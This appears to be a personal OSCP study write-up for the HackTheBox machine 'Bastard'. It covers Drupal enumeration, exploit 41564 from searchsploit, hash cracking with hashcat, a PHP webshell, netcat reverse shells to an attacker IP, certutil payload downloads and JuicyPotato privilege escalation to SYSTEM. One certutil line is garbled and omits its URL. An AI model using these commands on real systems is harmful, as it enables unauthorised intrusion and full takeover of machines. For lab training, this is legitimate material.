> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/htb/oscp-like-boxes/bastard.md).
# Bastard
### Nmap Full port scan (TCP)
### Nmap Aggressive scan
### Enumerating Web Server
Drupal —> droopscan
```bash
droopescan scan drupal -u http://10.10.10.9/ -t 32
```
`searchsploit -m 41564`
Change this part of the code
Install `php-curl` using `apt-get install php-curl`
Run the exploit using `php 41564.php`
`user.json`
Identify the hash type using `hashcat --identify admin.hash`
Brute-forcing the hash
`hashcat -m 7900 -a 0 admin.hash /usr/share/wordlists/rockyou.txt`
…. takes way too long so I decided to just obtain RCE from the box
Putting in a php one-liner webshell ``
Able to use the webshell by go to the URL:
[`http://10.10.10.9/cmd.php?cmd=whoami`](http://10.10.10.9/cmd.php?cmd=whoami)
`http://10.10.10.9/cmd.php?cmd=certutil -urlcache -f c:\\\\windows\\\\temp\\\\nc.exe`
To obtain a user shell, use the following command
`http://10.10.10.9/cmd.php?cmd=nc.exe -e cmd.exe 10.10.14.6 443`
### Privilege Escalation
* `whoami /priv`
* `SeImpersonatePrivilege` is enabled —> juicypotato attack?
* Transfer `juicypotato.exe` to the victim
```bash
certutil -urlcache -f http://10.10.14.6/juicypotato.exe juicypotato.exe
```
* For win server 2012 —> CLSID {C49E32C6-BC8B-11d2-85D4-00105A1F8304}
```bash
juicypotato.exe -l 1337 -p c:\\windows\\system32\\cmd.exe -a "/c C:\\inetpub\\drupal-7.54\\nc.exe -e cmd.exe 10.10.14.6 4444" -t * -c {C49E32C6-BC8B-11d2-85D4-00105A1F8304}
```
* GOT ROOT!